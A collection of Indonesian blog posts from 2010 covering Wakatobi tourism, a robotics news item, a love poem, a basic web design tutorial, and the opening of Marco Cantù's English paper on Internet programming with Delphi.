Robot di Masa Depan

Robot di Masa Depan Akan Bisa Jadi ‘PSK’ Di post Agu 19, 2009 Email ke teman Cetak

Beberapa pakar sudah memperkirakan, suatu saat manusia bakal berhubungan seks dengan robot. Kini prediksi yang lebih ekstrim datang, yakni suatu saat robot pun akan jadi pekerja seks komersial (PSK) demi mendukung pariwisata.

Pendapat nyleneh itu dikemukakan Ian Yeoman, akademisi University of Wellington, Selandia Baru. Ia memprediksi apa yang bakal terjadi pada tahun 2050.

Pakar pariwisata ini menilai robot nantinya akan berperan besar pada dunia pariwisata masa depan. Misalnya robot bakal jadi pelayan di bar ataupun jadi tukang bersih-bersih di hotel.

Sedangkan robot yang dipekerjakan di ranah prostitusi akan punya sejumlah keuntungan. Contohnya saja bebas dari penyakit mematikan seperti AIDS. Namun Yeoman mengakui kalau prediksi gilanya ini hanya akan terjadi di masa depan yang ekstrim.

“Teknologi robot akan jadi penting karena kita akan mengalami kelangkaan tenaga kerja di masa depan,” tukas Yeoman. (ThaiIndian/detik)

Advertisements
Published in: on 26 January 2010 at 2:28 pm  Leave a Comment  
Tags: , ,

Pantai Patuno, Ikon Wisata Wakatobi yang Menggoda

Pantai Patuno, Ikon Wisata Wakatobi yang Menggoda

OLEH: AGUS SANA’A

WAKATOBI – Menyelam di tempat-tempat penyelaman (diving resort) di belahan dunia mana pun di jagat raya ini, Anda akan bercengkerama dengan berbagai jenis ikan dan biota laut, serta menikmati keindahan formasi terumbu karang beragam jenis.

Namun, ketika memilih Patuno Resort sebagai tempat menyelam, Anda tidak sekadar menikmati pemandangan alam bawah laut, tetapi juga dapat bercengkerama dengan sejumlah ikan lumba-lumba yang berkeliaran di kawasan pesisir tempat penyelaman tersebut. Sungguh suatu pemandangan yang amat menyenangkan.
Bagi pengunjung pantai yang tidak suka menyelam, dapat menyaksikan ikan lumba-lumba bermain di sela-sela gelombang laut dari dua pulau kecil tanpa penghuni yang “terbaring” molek di depan pantai. Di pulau yang ukurannya lebih besar, terdapat lubang kecil yang elok dipandang mata. Dari atas pulau itulah pengunjung dapat menikmati pemandangan matahari terbenam yang indah. Jika cuaca bersahabat, Anda juga bisa melihat perahu-perahu nelayan yang sedang mencari ikan.
Pantai Patuno terletak antara Wanci, Ibu Kota Kabupaten Wakatobi dan Bandara Matahora Wanci. Dari Wanci hanya berjarak kurang lebih 22 kilometer, sedangkan dari bandara hanya sekitar tiga kilometer.
Letaknya yang begitu strategis menjadikan kawasan tersebut mudah diakses. Mencapai tempat ini dari Wanci dengan mobil atau sepeda motor hanya butuh waktu kira-kira 30 menit, sedangkan dari bandara sepuluh menit.
Bagi warga dari luar pulau yang ingin berlibur di pantai tersebut, tidak susah menjangkaunya. Setiap hari maskapai penerbangan Ekspres Air melayani rute Ja­karta­–Maka­s­sar–Baubau-Wakatobi dan sebaliknya. Jika ingin melewati Kendari, Ibu Kota Provinsi Sultra, Anda bisa memilih Lion Air, Garuda Indonesia, Merpati Nusantara, Sriwijaya Air atau Batavia Air melalui rute Jakarta–Makassar–Kendari. Dari Kendari, dilanjutkan ­­Tdengan pesawat Susi Air berkapasitas 12 tempat duduk.
“Kalau warga Jakarta mau berlibur ke sini (Pantai Patuno-red) bisa berangkat hari Jumat dari Jakarta. Hari Sabtu menyelam, Minggu balik kembali ke Jakarta, dan Senin sudah bisa masuk kantor,” kata Bupati Wakatobi, Hugua. Oleh karena mudah diakses, Pemerintah Kabupaten Wakatobi menjadikan kawasan tersebut sebagai ikon wisata di Wakatobi.

Pulau-pulau Lain
Bosan menikmati keindahan alam pantai alam bawah laut, pengunjung bisa bergeser ke kawasan wisata lain di kabupaten tersebut, seperti Pulau Huga, Onemombaa atau karang Mari Mabo. Dari Pantai Patuno ke karang Mari Mabo, bisa menggunakan perahu cepat kurang lebih 30 menit. Demikian pula menuju Pulau Hoga, hanya perlu waktu sekitar 25 menit, sedangkan ke Onembaa sekitar dua jam.
Onemombaa, salah satu kawasan wisata diving di Kecamatan Tomia, Kabupaten Wakatobi yang dikelola PT Wakatobi Diving Resort milik Lorent, warga asal Swiss. Di Tomia, perusahaan PMA (Penanaman Modal Asing) itu menyiapkan fasilitas bandara yang dapat didarati pesawat Fokker-28. Selama ini, para wisatawan yang mengunjungi kawasan tersebut hanya bisa mencarter pesawat dari Bali dengan jadwal penerbangan dua kali sebulan.
Untuk tinggal selama sepuluh hari, pengunjung harus merogoh kocek minimal US$ 3.000.
Saat ini, ke Onemomba tidak harus melewati Bali dengan pesawat carter dan menunggu 15 hari. Tiap hari Anda bisa ke Onemombaa dengan melewati Jakarta-Makassar–Baubau–Wakatobi. Biayanya pun cukup murah, paling tinggi US$ 570. “Pokoknya ke Wakatobi sekarang sangat mudah dan murah,” ujar Hugua.
Sementara itu, Pulau Hoga adalah kawasan wisata selam yang dikelola Wallacea. Di alam bawah laut tersebut terdapat kurang lebih 750 spesies terumbu karang. Bahkan, jenis karang bernama Palao Strea yang selama ini hanya ditemukan di perairan Laut Palao, dapat dijumpai di alam bawah laut Pulau Hoga. Pakar Biologi Kelautan Universitas Hasanuddin Makassar, Dr Ipul, menemukan jenis karang langka tersebut pada 23 November 2009 lalu.
Bupati Wakatobi mengidentikkan keindahan alam bawah laut di dua kawasan yang masuk area Pusat Segi Tiga Terumbu Karang dunia (triangle) itu bak surga nyata. Itu sebabnya, Bupati Wakatobi terus berjuang membangun sarana transportasi, baik udara maupun laut. Tujuannya agar para pecandu selam kelas dunia dapat menikmati surga nyata di Pusat Segi Tiga Terumbu Karang Dunia itu.
Berada di Wakatobi, tidak hanya keindahan alam bawah laut yang bisa dinikmati, melainkan juga keragaman budaya dan berbagai tradisi lisan. Di masyarakat Wakatobi banyak terdapat beragam budaya unik, seperti karia, kabuenga, makan kulit kerang kima, dan bangka mbule-mbule. Budaya bangka mbule-mbule merupakan tradisi masyarakat nelayan Suku Bajau dalam melarung sesajen di tengah laut. Ritual ini untuk menjauhkan nelayan dari marabahaya sambil memohon rezeki berlimpah dari penguasa laut, digelar sekali setahun.
Sementara itu, kabuenga, diyakini sebagai ajang tempat mencari jodoh. Entah ada hubungannya atau tidak, yang pasti artis Zakiah Mecca dan Hanung Bramantyo melaksanakan akad nikah setelah mengikuti acara kabuenga tersebut di Wanci. n
Pantai Patuno, Ikon Wisata Wakatobi yang Menggoda

Published in: on 26 January 2010 at 12:05 pm  Comments Off on Pantai Patuno, Ikon Wisata Wakatobi yang Menggoda  
Tags:

Toyota-Sony Kembangkan Teknologi Robot Masa Depan

Toyota-Sony Kembangkan Teknologi Robot Masa Depan

Dua raksasa teknologi terbesar Jepang, Toyota dan Sony bergandengan tangan mengembangkan teknologi robotik untuk menciptakan kendaraan kursi tunggal yang inovatif dan cerdas. Demikian diungkapkan kedua belah pihak seperti dilaporkan The Associated Press, Senin (27/8).

Teknologi yang dialihkan dari Sony ke Toyota termasuk sejumlah paten penting yang nantinya akan diaplikasikan pada generasi mendatang transporter, namun keduanya tidak menjelaskan kesepakatan finansial. Tujuh orang ahli dari Sony akan bekerja di unit riset robot Toyota untuk sementara waktu guna memuluskan alih teknologi ke Toyota, seperti di ungkapkan jurubicara Toyota, Kayo Doi.

Toyota sudah lama memiliki kendaraan kursi tunggal yaitu i-swing yang dipamerkan disejumlah kegiatan termasuk di 2007 Indonesia International Motor Show lalu. Pekan lalu, Toyota juga memperkenalkan robot pemandu wisata yang bisa berinteraksi langsung dengan pengunjung pameran. Sebelumnya Toyota sudah memperkenalkan robot peniup trompet.

Sony -raksasa elektronik dunia- juga pemain penting di industri robot. Mereka menciptakan robot anjing Aibo dan robot anak-anak Qrio. Aibo terjual 150,000 unit sebelum akhirnya Sony memutuskan menghentikan operasi bisnis Aibo sebagai bagian dari restrukturisasi Sony.

Published in: on 26 January 2010 at 11:13 am  Leave a Comment  
Tags:

Daya Tarik wisata Wakatobi Diminati Turis Asing

Puluhan Kapal Wisata Singgahi Wakatobi
Era Baru Kamis, 27 Agustus 2009

[ilustrasi] Wangi-Wangi – Sebanyak 61 kapal layar berbagai negara di dunia berlabuh di perairan Kabupaten Wakatobi Provinsi Sulawesi Tenggara (Sultra) serangkaian kegiatan festival budaya Wakatobi-Sail Indonesia 2009.

Bupati Wakatobi, Hugua di Wangi-Wangi, Kamis (27/08), mengatakan kedatangan wisatawan mancanegara dengan membawa kapal layar sendiri membuktikan bahwa wisata bahari Wakatobi memikat dunia.

“Mereka ini (wisatawan kapal layar) orang yang mapan ekonomi. Mereka datang menghibur diri dengan keindahan terumbu karang Wakatobi,” kata Hagua.

Kedatangan para wisatawan asing ini secara ekonomi berdampak positif bagi daerah ini karena selama berada di Wakatobi akan berbelanja berbagai pernak pernik karya warga setempat.

Kedatangan kapal layar milik penikmat wisata bahari di Wakatobi yang dikenal dengan visi “Surga Nyata Bawah Laut di Segi Tiga Karang Dunia” sejak tanggal 3 Agustus 2009.

Pemerintah dan masyarakat Wakatobi menyambut antusias para tamu dengan menggelar pentas kebudayaan dan seni.

Potensi wisata laut Wakatobi seluas 1,3 juta hektare menyimpan 750 jenis terumbu karang. Lebih unggul dibandingkan Laut Karibia sebanyak 50 jenis dan Laut Merah sebanyak 300 jenis.

Rute pelayaran kapal yang umumnya berawak satu kekeluarga yakni suami, istri dan anak dimulai dari Darwin Australia kemudian memasuki wilayah perairan Indonesia.

Mereka memasuki Indonesia dari Saumlaki, Masohi, Banda, Namlea, (Maluku), Ternate (Maluku Utara). Kemudian Bunaken (Sulut), Banggai (Sulteng) dan Wakatobi (Sultra).

Dari Kabupaten Wakatobi yang wilayahnya 97 persen laut, maka para wisatawan tersebut akan melanjutkan pelayaran ke Kabupaten Ende (NTT), Kabupaten Berau ,Tarakan (Kaltim) dan mengakhiri lawatan ke Indonesia di Provinsi Bangka Belitung.

Peserta Sail Indonesia, Keith Harding mengatakan kagum dengan keindahan terumbu karang Wakatobi dan sikap ramah masyarakatnya.

“Kami berterima kasih atas penyambutan warga Wakatobi. Wakatobi terindah di dunia dan kami akan kembali mengunjungi Wakatobi,” kata Keith Harding yang disambut tepuk tangan pada acara penyambutan peserta Sail Indonesia.

Peserta Sail Indonesia lainnya, Meicy dari Australia mengatakan tidak akan pernah lupa tentang Wakatobi-Indonesia.

“Saya merayakan hari ulang tahun ke-40 di Wakatobi. Ini sejarah dalam hidup saya karena dirayakan di Indonesia,” kata Meicy pemilik kapal Ligth Foot. (ant/waa)

Published in: on 26 January 2010 at 2:08 am  Leave a Comment  
Tags:

wisata bahari dan budaya yang ditawarkan dinas Pariwisata Kabupaten Wakatobi

Pariwisata Kabupaten Wakatobi

Fasilitas Pariwisata : Hotel & Rumah Makan

Wisata Bahari
Terumbu Karang Wakatobi Pariwisata bahari adalah aktivitas wisata yang telah lama dikembangkan di Kepulauan Wakatobi, yang didukung dengan keberadaan Taman Laut Nasional Kepulauan Wakatobi. Keunggulan aset wisata ini, tak lain karena hamparan karang yang sangat luas disepanjang perairan dengan topografi bawah laut yang kompleks seperti bentuk slope, flat, drop-off, atoll dan underwater cave dengan biota laut yang beraneka ragam.

Kedalaman airnya bervariasi bagian terdalam mencapai 1.044 meter dengan dasar perairan berpasir dan berkarang, wilayah tersebut memiliki potensi yang cukup penting terutama keberadaan terumbu karang dan berbagai jenis biota laut yang beraneka ragam dengan nilai estetika dan konservasi yang tinggi.

Secara spesifik taman laut kepulauan Wakatobi memiliki ±25 buah gugusan terumbu karang dengan 750 species yang dikelilingi total 600 km2, serta obek wisata pantai yang sangat potensial untuk dikelola, tersebar diseluruh wilayah Wakatobi. Berdasarkan potensi tersebut, menjadikan kawasan ini sangat comportable untuk aktivitas wisata selam seperti surfing dan snorkeling, serta wisata memancing. Sehingga salah seorang jurnalis selam asing bernama Jacques Costeau menggelari Wakatobi sebagai tempat penyeleman terindah di dunia (Wakatobi is the finest diving site in the world).

Wakatobi Dive Resort
Wakatobi Resort Berlokasi disekitar pantai asri dan menawam Pulau Onemobaa-Tomia, Kepulauan Wakatobi. Wakatobi Resort menawarkan penyeleman kelas dunia didukung oleh rumah karang yang spektakuler serta kemudahan akses ke tempat penyelaman dengan keanekaragaman kehidupan bawah laut ditambah lagi dengan keamanan dan kenyamanan dalam melakukan aktifitas selam yang sangat terjamin dengan wilayah laut yang terproteksi.

Wakatobi Resort juga memiliki staff yang berpengalaman dan berpengetahuan dalam pelayanan wisata, dengan sajian menu makanan yang sehat dan keanekaragaman rasa, serta dilengkapi dengan perangkat komunikasi satelit dengan akses internet 24 jam, sehingga Wakatobi Dive Resort melayani tamu dengan pelayanan standar dunia.

Resort ini juga dilengkapi dengan lapangan terbang Maranggo di pulau Tomia dengan jalur penerbangan yang menghubungkan pulau Bali ke Tomia akan membuat perjalanan ke Wakatobi semakin mudan dan nyaman.

Wisata Budaya
Adanya berbagai warisan sejarah kepurbakalaan serta eksistensi sosial dan budaya yang unik dan khas ditengah masyarakat, merupakan kekayaan budaya yang memiliki nilai daya tarik tersendiri, sebagai penunjang bagi pengembangan sektor pariwisata.

Peninggalan budaya masa lalu memberikan karakteristik dan kekayaan nilai-nilai budaya yang hingga saat ini dapat dilihat pada pola/tradisi kehidupan masyarakat Wakatobi yang lebih dikenal sebagai masyarakat kepulauan dan pesisir. Sehingga budaya masyarakat yang dimiliki lebih bersifat budaya pesisir (marine antropologis). Eksisting budaya inilah yang memberikan fenomena unik bagi pengembangan pariwisata yang berbasis pada nilai-nilai budaya.

Taman Nasional Laut Wakatobi
Taman Nasional Laut Wakatobi adalah suatu kawasan konservasi laut seluas di Kepulaaun Tukang Besi, Taman Laut Nasional Wakatobi merupakan taman laut terindah dan terumbu karang terbaik di dunia. Wisatawan yang ingin menghabiskan waktu beberapa saat di kawasan ini, Biro Perjalanan Wisata PT. Wakatobi Dive Resort dan Badan Pengelola, Wallacea siap memenuhi kebutuhan diving setiap wisatawan mulai dari kelengkapan sampai dengan struktur diving.

Published in: on 26 January 2010 at 2:06 am  Leave a Comment  

Memahami Makna sebuah Cinta

Kenapa kita menutup mata ketika kita tidur?
Ketika kita menangis?
Ketika kita membayangkan?
Itu karena hal terindah di dunia TIDAK TERLIHAT

Ketika kita menemukan seseorang yang keunikannya SEJALAN dengan kita
kita bergabung dengannya dan jatuh kedalam suatu keanehan serupa yang
dinamakan CINTA

CINTA yang AGUNG?
Adalah ketika kamu menitikkan air mata dan MASIH peduli terhadapnya
Adalah ketika dia tidak mampedulikanmu dan kamu MASIH menunggunya dengan setia
Adalah ketika dia mulai mencintai orang lain dan kamu MASIH bisa tersenyum
sembari berkata “Aku turut berbahagia untukmu”Apabila cinta tidak berhasil BEBASKAN dirimu
Biarkan hatimu kembali melebarkan sayapnya dan terbang ke alam bebas LAGI
Ingatlah bahwa kamu mungkin menemukan CINTA dan kehilangannya
Tapi ketika cinta itu mati kamu TIDAK perlu
mati bersamanya

Orang terkuat BUKAN mereka yang selalu menang MELAINKAN
mereka yang tetap tegar ketika mereka jatuh
Entah bagaimana dalam perjalanan kehidupan,
kita belajar tentang diri kita sendiri
dan menyadari bahwa penyesalan tidak seharusnya ada
penyesalan HANYALAH penghargaan abadi atas pilihan-pilihan kehidupan yang telah kita buat sendiri

MENCINTAI ??
BUKANLAH bagaimana kamu melupakan melainkan bagaimana kamu MEMAAFKAN
BUKANLAH bagaimana kamu mendengarkan melainkan bagaimana kamu MENGERTI
BUKANLAH apa yang kamu lihat melainkan apa yang kamu RASAKAN
BUKANLAH bagaimana kamu melepaskan melainkan bagaimana kamu BERTAHANLebih berbahaya mencucurkan air mata
dalam hati dibandingkan menangis tersedu-sedu
Air mata yang keluar dapat dihapus
Sementara air mata yang tersembunyi menggoreskan luka yang tidak akan pernah hilangDalam urusan cinta, kita SANGAT JARANG menang
Tapi ketika CINTA itu TULUS,
meskipun kalah, kamu TETAP MENANG
hanya karena kamu berbahagia dapat mencintai seseorang
LEBIH dari kamu mencintai dirimu sendiri

Akan tiba saatnya dimana kamu harus berhenti mencintai seseorang
BUKAN karena orang itu berhenti mencintai kita,
MELAINKAN karena kita menyadari bahwa dia akan lebih berbahagia
apabila kita melepaskannya
Apabila kamu benar-benar mencintai seseorang,
jangan lepaskan dia
Jangan percaya bahwa melepaskan selalu berarti kamu benar-benar mencintai
MELAINKAN BERJUANGLAH demi cintamu
Itulah CINTA SEJATI

Kadang kala orang yang kamu cintai adalah orang yang PALING menyakiti hatimu,
dan kadang kala teman yang menangis bersamamu adalah
CINTA YANG TIDAK KAMU SADARI KBERADAANNYA
Cinta selalu tak akan pernah bisa diungkapkan dengan apapun yang sesuai dengan kehendak kita karena bahasa cinta adalah bahasa yang abstrak,
bahasa yang hanya akan bisa dimengerti oleh mereka yang peka dan mengenal apa itu cinta
********

Published in: on 24 January 2010 at 7:37 pm  Leave a Comment  

Tutorial Design Website

23 November 2008
Penulis: ronnipurba · Kategori Artikel: Ebooks
Binus Hacker Sponsor Banner

Sering kita temui website yang tipikal: “Welcome to my homepage,” animasi e-mail, background dengan tulisan miring (diagonal), animasi garis pembatas, tabel dengan border tiga-dimesi dan lain-lain. Hal ini terjadi akibat dari fasilitas Template yang disediakan oleh software pembuat web seperti: FrontpageT, Corel WebDesignerT, dan sebagainya yang ditujukan untuk mempermudah penggunanya dalam membangun website.

Jika anda puas dengan hasil kerja anda membangun website dengan fasilitas template, sudahlah cukup sampai disini. Tetapi jika anda tidak puas dengan apa yang anda buat, dan anda merasa ingin lebih baik, maka anda perlu mengetahui bagaimana Web Designer membangun suatu Website, terlepas anda punya bakat seni atau tidak.

1. Unik : Dalam membuat karya apapun seorang designer mempunyai kesadaran untuk tidak meniru atau menggunakan karya orang lain. Begitu pula seorang Web Designer harus mempunyai budaya malu untuk menggunakan icon, animasi, button, dll, yang telah digunakan atau dibuat oleh orang lain.
2. Komposisi : Seorang Web Designer selalu memperhatikan komposisi warna yang akan digunakan dalam website yang dibuatnya. Pergunakan selalu Palette 216 WebColor, yang dapat diperoleh dari Adobe.com, hal ini untuk mencegah terjadinya dither pada image yang berformat GIF. Dalam membangun website suatu perusahaan, Web Designer selalu menyesuaikan warna yang digunakan dengan Corporate Color perusahaan tersebut. Sebagai contoh: Telkom Corporate Color-nya adalah biru, Coca-Cola : merah dan putih, Standard-Chartered : hijau dan biru, dsb. Untuk kemudian warna-warna tadi digunakan sebagai warna dominan atau sebagai elemen pendukung (garis, background, button, dsb).
3. Simple : Web Designer banyak yang menggunakan prinsip “Keep it Simple”, hal ini ditujukan agar tampilan website tersebut terlihat rapi, bersih dan juga informatif.
4. Semiotik : Semiotika adalah ilmu yang mempelajari tentang tanda-tanda. Dalam hal ini diharapkan dengan melihat tanda atau gambar, user/ audience dapat dengan mudah dan cepat mengerti. Sebagai contoh: Jangan membuat gambar/image yang berkesan tombol, padahal itu bukan tombol/ link.
5. Ergonomis : Web Designer selalu memperhatikan aspek ergonomi. Ergonomi disini adalah dalam hal kenyamanan user dalam membaca dan kecepatan user dalam menelusuri website tersebut. Web Designer memilih ukuran Fonts yang tepat sehingga mudah dibaca, Web Designer menempatkan link sedemikian rupa sehingga mudah dan cepat untuk di akses dan lebih penting lagi adalah Informatif.
6. Fokus : Tentukan hirarki prioritas dari pesan yang akan disampaikan, misalnya: Judul harus besar, tetapi jangan sampai akhirnya akan konflik dengan subjudul yang berukuran hampir sama. Hal ini akan membingungkan user/audience untuk menentukan pesan mana yang harus lebih dahulu dibaca/ dilihat.
7. Konsisten : Tentukan font apa yang akan digunakan sebagai Body-text, Judul, Sub Judul dan sebagainya, sehingga website tersebut akan terlihat disiplin dan rapi. Sesuaikan jenis huruf yang digunakan dengan misi dan visi website tersebut, misalnya: hindari menggunakan font Comic dalam membangun website suatu perusahaan resmi.

Demikian beberapa aspek dan prinsip yang digunakan Web Designer dalam membuat website, selebihnya merupakan ekspresi dari pembuat website itu sendiri yang terwujud dalam penggayaan penyusunan website.

Software-software pembuat suatu website

Desain : Untuk membuat desain suatu homepage biasanya para web designer dimulai dengan software ini sebagai tampilan sementara atau dalam membuat layout homepage.

1. Adobe Photoshop : Desain berbasis titik ( bitmap )
2. Adobe Image Ready : Memotong gambar-gambar ke dalam format html
3. Adobe Illustrator : Desain berbasis vector
4. CorelDraw : Desain berbasis vector
5. Macromedia Freehand : Desain berbasis vector

Efek Desain : Hal ini dilakukan untuk menghidupkan desain yang telah kita rancang. Seperti menambah efek cahaya, textur dan manipulasi teks.

1. Macromedia Firework : Efek teks
2. Painter : Memberikan efek lukisan
3. Ulead Photo Impact : Efek frame dan merancangan icon yang cantik.
4. Plugins Photoshop : Seperti Andromeda, Alien Skin, Eye Candy, Kai’s Power Tool dan Xenofex juga sangat mendukung untuk memberi efek desain sewaktu anda mendesain layout homepage di Photoshop.

Animasi : Penambahan animasi perlu untuk membuat homepage agar kelihatan menarik dan hidup.

1. 3D Studio Max : Untuk membuat objek dan animasi 3D.
2. Gif Construction Set : Membuat animasi file gif
3. Macromedia Flash : Menampilkan animasi berbasis vector yang berukuran kecil.
4. Microsoft Gif Animator : Membuat animasi file gif
5. Swift 3D : Merancang animasi 3D dengan format file FLASH.
6. Swish : Membuat berbagai macam efek text dengan format file FLASH.
7. Ulead Cool 3D : Membuat animasi efek text 3D.

Web Editor : Menyatukan keseluruhan gambar dan tata letak desain, animasi, mengisi halaman web dengan teks dan sedikit bahasa script.

1. Alaire Homesite
2. Cold Fusion
3. Microsoft Frontpage
4. Macromedia Dreamweaver
5. Net Object Fusion

Programming : Hal ini dilakukan setelah sebagian besar desain homepage telah rampung. Programming bertugas sebagai akses database, form isian dan membuat web lebih interaktif. Contoh : Membuat guestbook, Form isian, Forum, Chatting, Portal, Lelang dan Iklanbaris.

1. ASP ( Active Server Page )
2. Borland Delphy
3. CGI ( Common Gateway Interface )
4. PHP
5. Perl

Upload : File html kita perlu di letakkan ( upload ) di suatu tempat ( hosting ) agar orang di seluruh dunia dapat melihat homepage kita.

1. Bullet FTP
2. Cute FTP
3. WS-FTP
4. Macromedia Dreamweaver : dengan fasilitas Site FTP
5. Microsoft Frontpage : dengan fasilitas Publish

Sound Editor : Homepage kita belum hidup tanpa musik. Untuk mengedit file midi atau wav, perlu alat khusus untuk itu.

1. Sound Forge : Mengedit dan menambah efek file yang berformat mp3 dan wav.
2. Cakewalk : Mengedit dan menambah efek untuk file yang berformat midi

Banyak sekali memang software untuk membuat suatu homepage dan kita tidak perlu mempelajari semua software tersebut di atas. Tapi untuk mempermudah, bagi pemula lebih baik dimulai terlebih dulu dengan mempelajari software Microsoft Frontpage atau Macromedia Dreamweaver agar lebih mengenal aturan-aturan membuat homepage dan mengenal bahasa html. Setelah itu baru Adobe Photoshop yang dipakai kebanyakan para desainer.

Langkah-langkah Membuat Homepage

Bermacam-macam langkah yang digunakan profesi web kita untuk membuat suatu homepage. Berikut ini adalah proses secara umum yang dilakukan kebanyakan profesi web di Indonesia untuk membuat web.

1. Membuat Sketsa Desain : Desainer bisa saja menuangkan ide dalam membuat interface suatu homepage dalam bentuk sketsa di kertas dahulu. Untuk kebanyakan orang, biasanya langkah ini dilewatkan dan langsung pada langkah membuat layout desain dengan menggunakan software.
2. Membuat Layout Desain : Setelah sketsa sudah jadi, kita menggunakan software seperti Adobe Photoshop, Adobe Illustrator, Macromedia Fireworks dan Macromedia Freehand untuk memperhalus sketsa desain.
3. Membagi gambar menjadi potongan kecil-kecil : Setelah layout desain homepage sudah jadi. File gambarb tersebut dipecah menjadi potongan kecil-kecil untuk mengoptimize waktu download. Untuk melakukan hal tersebut dapat menggunakan software Adobe Image Ready. Software ini dapat langsung memotong gambar yang besar tadi dan otomatis juga menjadikannya ke dalam format html. Langkah ini bisa saja dilewatkan bila ukuran gambar kita tidak terlalu besar.
4. Membuat Animasi : Animasi diperlukan untuk menghidupkan homepage kita agar menarik pengunjung. Macromedia Flash dan Gif Construction Set dapat dipakai untuk melakukan hal tersebut.
5. Membuat HTML : Setelah itu kita merapikan layout desain kita seperti menempatkan beberapa tombol dan gambar, menambah text, mengedit script HTML, membuat layout form ke dalam format HTML. Untuk itu kita perlu software HTML Editor seperti Macromedia Dreamweaver, Microsoft Frontpage dan Allaire Homesite.
6. Programming dan Script : Untuk website e-commerce, iklan baris, lelang, database, membuat guestbook, counter dan forum diskusi. File HTML kita perlu programming untuk melakukan aktivitas semacam itu. Programming dan script ini bisa dibuat dengan menggunakan ASP, Borland Delphy, CGI, PHP, Visual Basic. Dan perlu diperhatikan bahwa programming dan script ini biasanya dilakukan setelah desain homepage kita telah jadi.
7. Upload HTML : Setelah file kita telah menjadi html beserta gambar dan scriptnya. Kita perlu meng-upload file kita ke suatu tempat ( hosting ), agar semua orang di dunia dapat mengakses halaman html kita. Biasanya Macromedia Dreamweaver dengan fasilitas site FTP dan Microsoft Frontpage dengan Publishnya telah menyediakan fasilitas upload ini. Atau dapat menggunakan software seperti WS-FTP, Cute FTP, Bullet FTP.

=================================================

Ronni Purba – http://ronnipurba.co.cc or http://amikmbp.page.tl

=================================================

Thx Buad Mas Ronni Yang Udah Nyumbang Artikel Buad BinusHacker
Approved by BinusHacker Team

Published in: on 24 January 2010 at 6:57 pm  Leave a Comment  
Tags:

Internet Programming with Delphi

by Marco Cantù
(http://www.marcocantu.com)
Table of Contents
The Challenges of Internet Programming …………………………………1
Where does Delphi Fit?……………………………………………………………..2
Core TCP/IP Support……………………………………………………………….3
Client Side Protocols Support……………………………………………………4
Server Side Protocols Support …………………………………………………..4
Client Side Web Support……………………………………………………………5
Server Side Web Development………………………………………………….6
Generating HTML pages …………………………………………………………..6
The WebBroker Framework ……………………………………………………..7
Supporting Microsoft’s Windows DNA architecture ………………..9
InternetExpress: XML, ECMAScript, and DHTML……………….10
Third-Party Web Server Extensions ………………………………………..13
Delphi in Action on the Internet……………………………………………..13
Conclusion: The Delphi Advantage…………………………………………14
Borland Delphi is known to be a great environment for the
development of stand-alone and client-server applications on the
Microsoft Windows platform. Its virtues range from full OOP
support to visual development, in a unique combination of
power and ease. However, the new frontier of development is
now Internet programming. What has Delphi got to offer in this
new context? Which are the features you can rely upon to build
great Internet applications with Delphi? That’s what this paper
intends to reveal. We’ll see that Delphi can be used:
• For direct socket and TCP/IP programming;
• In conjunction with third-party components that implement
the most common Internet protocols, on the client or the
server side;
• To produce HTML pages on the server side, with the
WebBroker and Internet Express architectures;
• As well as to work with Microsoft’s core technologies,
including MTS, COM, ASP, and ActiveX.
The Challenges of Internet
Programming
Internet programming poses new challenges to traditional
developer environments and to the programmers using them.
There are issues related with the implementation of standard
protocols, the use of multiple platforms (Microsoft Windows
accounts for most of the client computers on the Internet but
only a fraction of the servers), and the licensing schemes of
some RDBMS systems.
Delphi
Delphi
2
Most of the problems, however, relate with HTTP development:
Turning existing Windows applications into applications running
within a Web browser is more complex than it might seem at
first sight. The Web is stateless, the development of user
interfaces can be quite an issue, and you invariably have to
consider the incompatibilities of the most widespread browsers.
A new platform specifically aimed at areas of Internet
programming (typically the HTTP world) has emerged. These
environments favor server side development, often also allowing
the inclusion of database information within web pages. A
common solution is to write HTML pages with special
“scripting” tags included, which are going to be expanded by an
engine on the server. Interesting for small projects, most of
these technologies have limited scripting power, and force you to
mix HTML code and scripting code, and GUI scripting code
with database oriented code. On larger applications, this lack of
separation among the different areas of a program is considered
to be far from a good architecture.
Moreover, Microsoft’s DNA is going to be replaced by the new
Microsoft dotNET (or “.NET”) architecture – a new name and
approach that seems to imply that the previous architecture had
indeed serious limitations. DotNET is apparently going to be
more “open” and stresses a lot the importance of XML,
including pushing the support for the SOAP (Simple Object
Access Protocol) invocation protocol. Another key element of
dotNET is that COM is apparently going to be phased out (not a
nice idea for people who’ve invested in the approach Microsoft
was pushing yesterday).
Even with the advent of dotNet, Microsoft’s DNA architecture,
based on ASP for HTML scripting and COM/MTS/COM+ for
database manipulation, offers a higher perspective, but is limited
to the Windows platform and Microsoft’s own IIS Web server,
tends to work primarily with the Internet Explorer browser. The
current incarnation of DNA suffers from several limitations,
including DCOM unfriendliness with firewalls, complex
configuration and administration, some tie-in with Microsoft’s
technologies, databases included, and limited scalability. Also,
the overall architecture, with the separation of many layers
partial with status and partially stateless, seems to be still limited
for the challenges of the Internet.
Where does Delphi Fit?
With this rather complex situation going on, where does a
“traditional” development platform like Delphi fit? The goal of
Delphi in the Internet age is to bring the some power, flexibility,
ease of use, and database support.
• The power of Delphi comes from the fully compiled code,
different from many script-based technologies, and from its
fully object-oriented architecture (which is not an after
thought, but has been the foundation of the language and
its libraries since version 1.0). Delphi natively compiled
applications are simple to deploy, as they are generally made
of a single self-contained executable code (with no extra
runtime libraries and custom component files). Actually,
dividing the single EXE in multiple packages is a useful
option that is offered by Delphi, which programmers can
fine-tune to choose the best deployment solution.
• The flexibility of Delphi comes from a support not limited
to HTTP but open to most Internet protocols, as the
development environment allows you to write lower level
code to support new protocols, as the developers of many
native third-party components have done.
• The ease of use of Delphi comes from the componentbased
environment. Writing a mail client (eventually bound
to a web page) simply implies adding a couple of
components to your program, setting a few properties, and
writing very little code. Some of the samples found in
Delphi and the third party components are basically fullfeatured
email programs!
With the InternetExpress technology of Delphi 5, the easeof-
use has been extended to allow the visual development
of HTML front ends based on data sets.
• Database and client/server support has always been one of
the strongest features of Delphi and client/server
architectures remain the core of most Web applications and
Internet sites. Actually, if you’ve built your Delphi
Delphi
3
applications by separating the user interface from the back
end (typically using Data Modules for the latter) you are
ready to plug in a new user interface to your existing
“business rules” code.
This is particularly true for multi-tier MIDAS applications,
which separate the business logic and the user interface in
two separate applications, running on the client and
application server computers. Using the InternetExpress
technology, as we’ll see, you can simply build a new front
end for a Web server application, and make it available to
the client browsers.
Leveraging your existing Delphi code and allowing you to build
Windows and browsers based front end for the same core
application, are two key reasons to adopt Delphi as your Internet
development platform. But they are not the only reasons, as
other areas of Internet development are equally served by the
technologies included in Delphi.
